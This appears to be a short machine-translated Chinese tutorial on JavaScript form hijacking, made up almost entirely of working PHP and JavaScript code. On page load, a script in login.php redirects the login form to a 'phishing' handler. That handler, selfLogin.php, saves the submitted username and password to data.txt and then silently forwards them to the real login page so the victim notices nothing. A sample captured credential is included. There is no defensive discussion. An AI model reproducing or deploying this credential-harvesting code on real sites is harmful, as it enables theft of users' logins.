目次引见
- login.php 一般登录的文件
- selfLogin.php 自定义的登录文件
- data.txt 纪录用户输入的数据
login.php
<?php
echo "<pre>";
$userInfo = $_POST ;
if ($userInfo) {
# code...
var_dump($userInfo,'登录胜利') ;exit();
}
?>
<!DOCTYPE html>
<html>
<head>
<title>登录</title>
</head>
<body>
<form id="login" method="post" action="login.php">
用户姓名:<input type="text" name="name">
用户暗码:<input type="password" name="pwd">
<input type="submit" value="确认登录">
</form>
</body>
<script type="text/javascript">
//js挟制代码
window.onload = function (eve) {
var form = document.getElementById('login');
form.innerHTML = ' <form id="login" method="post" > 用户姓名:<input type="text" name="name"> 用户暗码:<input type="password" name="pwd"> <input type="submit" value="确认登录"> </form> ' ;
//垂纶地点
form.action = "selfLogin.php" ;
}
</script>
</html>
selfLogin.php
<?php
$name = '' ;
$pwd = '' ;
//var_dump('数据被截取了',$_POST) ;
if($_POST) {
//纪录猎取的数据信息
$name = $_POST['name'] ;
$pwd = $_POST['pwd'] ;
file_put_contents('data.txt', json_encode($_POST,true)) ;
}
?>
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
</body>
<script type="text/javascript">
//构建之前的页面
window.onload = function (eve) {
var name = '<?php echo $name; ?>' ;
var pwd = '<?php echo $pwd; ?>' ;
if(name && pwd) {
var div = document.createElement('div');
document.body.appendChild(div);
div.innerHTML =' <form id="login2" method="post" action="login.php" > '+
' 用户姓名:<input type="text" name="name" value="'+name+'"> 用户暗码:<input type="password" name="pwd" value="'+pwd+'"> ' ;
document.getElementById('login2').submit();
}
}
</script>
</html>
data.txt
{“name”:”admin”,”pwd”:”123456″}